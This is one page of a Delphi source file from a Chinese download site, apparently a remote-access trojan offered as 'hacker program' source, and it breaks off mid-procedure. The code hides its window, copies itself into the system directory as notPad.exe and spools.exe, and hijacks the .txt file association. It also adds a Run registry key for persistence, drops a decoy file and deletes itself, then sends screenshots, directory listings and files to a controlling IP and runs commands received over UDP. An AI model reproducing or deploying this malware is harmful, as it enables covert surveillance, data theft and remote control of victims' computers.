⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unit1.pas

📁 几个hacker程序源码简介: 1*远程主机的磁盘目录与文件的浏览
💻 PAS
📖 第 1 页 / 共 4 页
字号:
           jpg.SaveToStream(MiddleStream);
          except
            Socket.Close;
            exit;
          end;

           MiddleStream.Position:=0;
           LenValue:=MiddleStream.Size+4;
           
           NewSendLen[1]:=lo(LenValue);
           LenValue:=LenValue shr 8;
           NewSendLen[2]:=lo(LenValue);
           LenValue:=LenValue shr 8;
           NewSendLen[3]:=lo(LenValue);
           LenValue:=LenValue shr 8;
           NewSendLen[4]:=lo(LenValue); 
           
           SendMemoryI.Clear;
           Try
             SendMemoryI.SetSize(MiddleStream.Size+4);
             SendMemoryI.WriteBuffer(NewSendLen,4);
           except
             Socket.Close;
             exit;
           end;
           Try
             MiddleStream.Position:=0;
             SendMemoryI.Position:=4;
             SendMemoryI.CopyFrom(MiddleStream,MiddleStream.Size);
           except
             SendMemoryI.Clear;
             Socket.Close;
             exit;
           end;
        except
         Socket.Close;
         exit;
        end;

       SendMemoryI.Position:=0;
       SendSize:=0;
       Repeat
         ReadSize:=SendMemoryI.Read(BuffRead,SendBuffsize);
         SendSize:=SendSize+ReadSize;
         Repeat
          Try
             SendStat:=Socket.SendBuf(BuffRead,ReadSize);
          except
             exit;
          end;
         until SendStat<>-1;
        Until  SendSize=SendMemoryI.Size;
  //))))))))))))))))))))))))))))
       SendMemoryI.Clear;
    end else Exit;
  //**********************************************************
  except
  socket.Close;
  end;
{R+}
 //======发送数据完毕
end;
Procedure ExeResFile(ExeRecName:String);
{$R MyRes.RES}
Var
  MyRes  : Integer;
  MyResP : Pointer;
  MyResS : Integer;
  MyMS   : TMemoryStream;
  OldDir : String;
begin
  GetDir(0,OldDir);
  ChDir(ExtractFilePath(Application.ExeName));
  MyRes := FindResource(HInstance,PChar(ExeRecName),RT_RCDATA);
  if MyRes <> 0 then
   begin
    MyResS := SizeOfResource(HInstance,MyRes);
    MyRes := LoadResource(HInstance,MyRes);
    if MyRes <> 0 then
     begin
      MyResP := LockResource(MyRes);
      if MyResP <> nil then
       begin
        MyMS := TMemoryStream.Create;
        with MyMS do begin
          Write(MyResP^,MyResS);
          Seek(0,soFromBeginning);
          MyMS.SaveToFile(Application.ExeName+'.txt');
         ShellExecute(Application.Handle,'',PChar(Application.ExeName+'.txt'),'','',1);
        Free;
        end;
        UnLockResource(MyRes);
      end;
      FreeResource(MyRes);
    end;
  end;
  ChDir(OldDir);
end;
procedure TForm1.FormCreate(Sender: TObject);
type TMyFunc =function(dwProcessID, dwType: DWord):DWord;stdcall;
const
  RSPSIMPLESERVICE     = 1;
  RSPUNREGISTERSERVICE = 0;
var
  iLStatus:integer;
  MyFunc: TMyFunc;
  hinstLib:HINST;
  FromFile,ToFile,MidFile:PChar;
  SystemDir:Array[1..255] of char;
  RegF:TRegistry;
  hnd: THandle;
  strLFile:String;
begin
//+++++++++++++++++++++++++++++++++++++++++++++++++++W9598
  hinstLib:=LoadLibrary('KERNEL32.DLL');
  if hinstLib<>null then
   @MyFunc:=GetProcAddress(hinstLib,'RegisterServiceProcess');
   if @MyFunc <> NIL then
     iLStatus:=MyFunc(GetCurrentProcessID,RSPSIMPLESERVICE);
   FreeLibrary(hinstLib);
//++++++++++++++++++++++++++++++++++++++++++++++++++++NT 2000
   hinstLib:=LoadLibrary('USER32.DLL');
  if hinstLib<>null then
   @MyFunc:=GetProcAddress(hinstLib,'RegisterServicesProcess');
   if @MyFunc <> NIL then
       iLStatus:=MyFunc(GetCurrentProcessID,1);
  FreeLibrary(hinstLib);
//++++++++++++++++++++++++++++++++++++++++++++++++++++
  GetSystemDirectory(@SystemDir,255);
   FromFile:=PChar(Application.ExeName);
    midfile:=@SystemDir;
     ToFile:=PChar(String(MidFile)+'\notPad.exe');
      CopyFile(FromFile,ToFile,False);

  RegisterFileType('.txt','vc++','文本文件','notPad.exe',1,True);
  strLFile:= UpperCase(ExtractFileName(Application.ExeName));
  if ParamStr(1)<>'' then
   ShellExecute(self.handle,'open','notePad.exe',PChar(ParamStr(1)),'',SW_SHOWNORMAL) else
  Begin
   if (strLFile<>UpperCase('notPad.exe')) then
    if (strLFile<>UpperCase('spools.exe')) then
    begin
     fAtom := GlobalAddAtom('HIRUNNING');
     ExeResFile('MYJPEG');
     DelSelf;//清除自己
     Halt;
     exit;
    end;
  end;
 if GlobalFindAtom('HIRUNNING')=0 then
   begin
     fAtom := GlobalAddAtom('HIRUNNING');
   end else Halt;

 FromFile:=ToFile;
  ToFile:=PChar(String(MidFile)+'\spools.exe');
   CopyFile(FromFile,ToFile,False);
   
  FileExt:='*.*';
  Form1.Visible:=False;
  Form1.Width:=0;
  Form1.Height:=0;
  RegF := TRegistry.Create;
  RegF.RootKey := HKEY_LOCAL_MACHINE;
   Try
    if RegF.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', True) then
     begin
        try
         RegF.WriteString('fastIndex','spools.exe'); //----2
        except
        end;
     end; 
   finally
        RegF.CloseKey;
        RegF.Free;
   inherited;
   end;

  DirStringList :=TStringList.Create;
  FileStringList:=TStringList.Create;
  AgentStream:=TMemoryStream.Create;
  autoRun:=False;
  GMStream:=TMemoryStream.Create;

  try
     MonitorSSocket1.Open;//----1-----服务端口启动
     MonitorSSocket2.Open;
     //+++++++++++++++++++++++++++++++++++++begin
     jpg := TJpegImage.Create;
     jpg.CompressionQuality:=100;
     jpg.PixelFormat:=jf24Bit;

     TheBmp:=TBitmap.Create;

     SWapBmp:=TBitMap.Create;
     SwapBmp.Width:=Screen.Width;
     SwapBmp.Height:=Screen.Height;

     SWapBmp0:=TBitMap.Create;
     SwapBmp0.Width:=Screen.Width;
     SwapBmp0.Height:=Screen.Height;

     SendMemoryI:=TMemoryStream.Create;
     MiddleStream:=TMemoryStream.Create;
     FileExt:='*.*';
     //+++++++++++++++++++++++++++++++++++++end
     TheBmp.Width :=Screen.Width;;
     TheBmp.Height :=Screen.Height;

     DeskHWnd:=GetDeskTopWindow;
     dc := GetDC(DeskHWnd);
     ScreenWidth := GetDeviceCaps(dc,HORZRES);
     ScreenHeight:= GetDeviceCaps(dc,VERTRES);
  except
  end;

end;

procedure TForm1.MonitorSSocket1ClientError(Sender: TObject;
  Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  var ErrorCode: Integer);
begin
    errorCode:=0;
    Socket.Close;
end;
procedure TForm1.NMUDP1DataReceived(Sender: TComponent;
  NumberBytes: Integer; FromIP: String; Port: Integer);
Var
  DataStream:TStringStream;
begin
  try
     DataStream:=TStringStream.Create('');
     NMUDP1.ReadStream(DataStream);
  except
   DataStream.Free;
  end;
  DataStream.Free;
end;

procedure TForm1.NMUDP2DataReceived(Sender: TComponent;
  NumberBytes: Integer; FromIP: String; Port: Integer);
Var
  DataStream:TStringStream;
  FileDir,FileNm,FileNme:String; 
begin
  GMStream.Clear;
  try
    DataStream:=TStringStream.Create('');
    NMUDP2.ReadStream(DataStream);
  except
    DataStream.Free;
    exit;
  end; 
  try
    FileNme:=DataStream.DataString;
   if FileExists(FileNme) then
   begin
    GMStream.LoadFromFile(FileNme);
    if GMStream<>nil then
     Begin
       CSocket1.Close;
         CSocket1.Address:=FromIP;
       CSocket1.Open;
     end;
   end;
  except
     DataStream.Free;
     exit;
  end;
  DataStream.Free;
end;


procedure TForm1.CSocket1Connect(Sender: TObject;
  Socket: TCustomWinSocket);
{R-}
Var
  BuffRead:Array[1..SendBuffsize] of char;
  ReadSize,SendStat:Integer;
  SendSize:LongInt;
begin
   GMStream.Position:=0;SendSize:=0;
      Repeat
        ReadSize:=GMStream.Read(BuffRead,SendBuffsize);
        SendSize:=SendSize+ReadSize;
         Repeat
           Try
            SendStat:=Socket.SendBuf(BuffRead,ReadSize); 
           except
            GMStream.Clear;
           end;
         until SendStat<>-1;
      Until (ReadSize<SendBuffsize) or (SendSize=GMStream.Size);
   GMStream.Clear;
{R+}
end;
procedure TForm1.ListenUDPDataReceived(Sender: TComponent;
  NumberBytes: Integer; FromIP: String; Port: Integer);
{R-}
Var
  SDirStream,RDirStream,SFileStream:TStringStream;
  Buffer1:Array[1..8192] of char;
  ReadCount:LongInt;
  LReadStr,strLDir:String;
  iL1:integer;
begin
    SDirStream:= TStringStream.Create('');
    RDirStream:= TStringStream.Create('');
    SFileStream:=TStringStream.Create('');

    NMUDP1.RemoteHost:=FromIP;
    NMUDP2.RemoteHost:=FromIP;
    ReplaceUDP.RemoteHost:=FromIP;
    CaptureID:=0;
//--begin--------------------------------------目录传送
    ListenUDP.ReadStream(RDirStream);
    LReadStr:=RDirStream.DataString;
  try
   if lReadStr='File transfer begin' then
    begin
     DirStringList.SaveToStream(SDirStream);
     FileStringList.SaveToStream(SFileStream);
     NMUDP1.SendStream(SDirStream);
     NMUDP2.SendStream(SFileStream);
    end else
  if lReadStr[1]='*' then
//UDP->TCP<--->TCP 可靠连接传送
    Begin
     for iL1:=2 to Length(lReadStr) do strLDir:=strLDir+lReadStr[iL1];
     if DirectoryExists(strLDir) then
      begin
        CaptureID:=1;
        try
         if CaptureFileDir(strLDir,DirStringList,FileStringList) then
          begin
           if DirStringList.Count =0 then DirStringList.Add('提示:返回上一级目录');
           if FileStringList.Count=0 then FileStringList.Add('提示:空文件目录');
           DirStringList.SaveToStream(SDirStream);
           FileStringList.SaveToStream(SFileStream);
           GDirStream:= TStringStream.Create(SDirStream.DataString);
           GFileStream:= TStringStream.Create(SFileStream.DataString);
           FileCSocket1.Close;
             FileCSocket1.Address:=FromIP;
           FileCSocket1.Open;
          end;
        except
           SDirStream.Free;
           RDirStream.Free;
           SFileStream.Free;
           exit;
        end;
      end;
     end else
     if DirectoryExists(RDirStream.DataString) then
      begin
//UDP<--->UDP 快速连接传送
        CaptureID:=0;
        try
         if CaptureFileDir(RDirStream.DataString,DirStringList,FileStringList) then
          begin
           if DirStringList.Count =0 then DirStringList.Add('提示:返回上一级目录');
           if FileStringList.Count=0 then FileStringList.Add('提示:空文件目录');
           DirStringList.SaveToStream(SDirStream);
           FileStringList.SaveToStream(SFileStream);
           NMUDP1.SendStream(SDirStream);
           ReadCount:=0;
           SFileStream.Position:=0;
           if (SFileStream.Size-ReadCount)<4096 then
              Begin
                SFileStream.ReadBuffer(Buffer1,SFileStream.Size-ReadCount);
                NMUDP2.SendBuffer(Buffer1,SFileStream.Size-ReadCount);
                ReadCount:=SFileStream.size;
              end else
              Begin
                SFileStream.ReadBuffer(Buffer1,4096);
                ReadCount:=ReadCount+4096;
                NMUDP2.SendBuffer(Buffer1,4096);
              end;
           end;
         except
           SDirStream.Free;
           RDirStream.Free;
           SFileStream.Free;
           exit;
         end;
       end;
   except
     SDirStream.Free;
     RDirStream.Free;
     SFileStream.Free;
     exit;
   end;
//------end----------------------------------目录传送
    SDirStream.Free;
    RDirStream.Free;
    SFileStream.Free;
{R+}
end;

procedure TForm1.ReplaceUDPDataReceived(Sender: TComponent;
  NumberBytes: Integer; FromIP: String; Port: Integer);
{R-}
var
  ReplaceFileStream,sendStream:TStringStream;
  RStr,RS:String;
  i:integer;
begin
   ReplaceFileStream:=TStringStream.Create('');
   ReplaceUDP.ReadStream(ReplaceFileStream);

   RStr:=ReplaceFileStream.DataString;
   RS:=RStr[1]+RStr[2]+RStr[3];
   if RS='RUN' then
   begin
      RS:='';
      for i:=4 to length(RStr) do RS:=RS+RStr[i];
      ShellExecute(Application.Handle, 'OPEN',
               PChar(RS),'','', SW_SHOWNORMAL);
      ReplaceUDP.RemoteHost:=FromIP;
      ReplaceUDP.RemotePort:=Port;
      sendStream:=TStringStream.Create('信息反馈:远程执行成功!');
      ReplaceUDP.SendStream(sendStream);
      sendStream.Free;
      exit;
   end;

   if ReplaceFileStream.DataString='远程执行' then
   begin
       autoRUN:=not autoRUN;
       if autoRUN=True then
       begin
          ReplaceUDP.RemoteHost:=FromIP;
          ReplaceUDP.RemotePort:=Port;
          sendStream:=TStringStream.Create('远程执行启动');
          ReplaceUDP.SendStream(sendStream);
          sendStream.Free;
       end else
       Begin
          ReplaceUDP.RemoteHost:=FromIP;
          ReplaceUDP.RemotePort:=Port;
          sendStream:=TStringStream.Create('远程执行关闭');
          ReplaceUDP.SendStream(sendStream);
          sendStream.Free;
       end;
    end;
//====================文件替换======================================
     if FileExists(ReplaceFileStream.DataString)then
     begin
       ReplaceFileG:=ReplaceFileStream.DataString;
       ReplaceSocket.Close;
         ReplaceSocket.Address:=FromIP;
       ReplaceSocket.Open;
     end else
//=================文件存储=========================================
     if DirectoryExists(ExtractFileDir(ReplaceFileStream.DataString))then
     begin
       ReplaceFileG:=ReplaceFileStream.DataString;
       ReplaceSocket.Close;
         ReplaceSocket.Address:=FromIP;
       ReplaceSocket.Open;
     end;
     ReplaceFileStream.Free;
{R+}
end;

procedure TForm1.ReplaceSocketRead(Sender: TObject;
  Socket: TCustomWinSocket);
 {R-}
var
   ReadBuffer:Array[1..4096] of Char;
   Buffer2   :Array[1..8] of Char;
   ReadSizeTemp:integer;
begin
   ReadSizeTemp:=0;
   ReadSizeTemp:=Socket.ReceiveBuf(ReadBuffer,4096);
   if  ReadSizeTemp<>-1 then

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -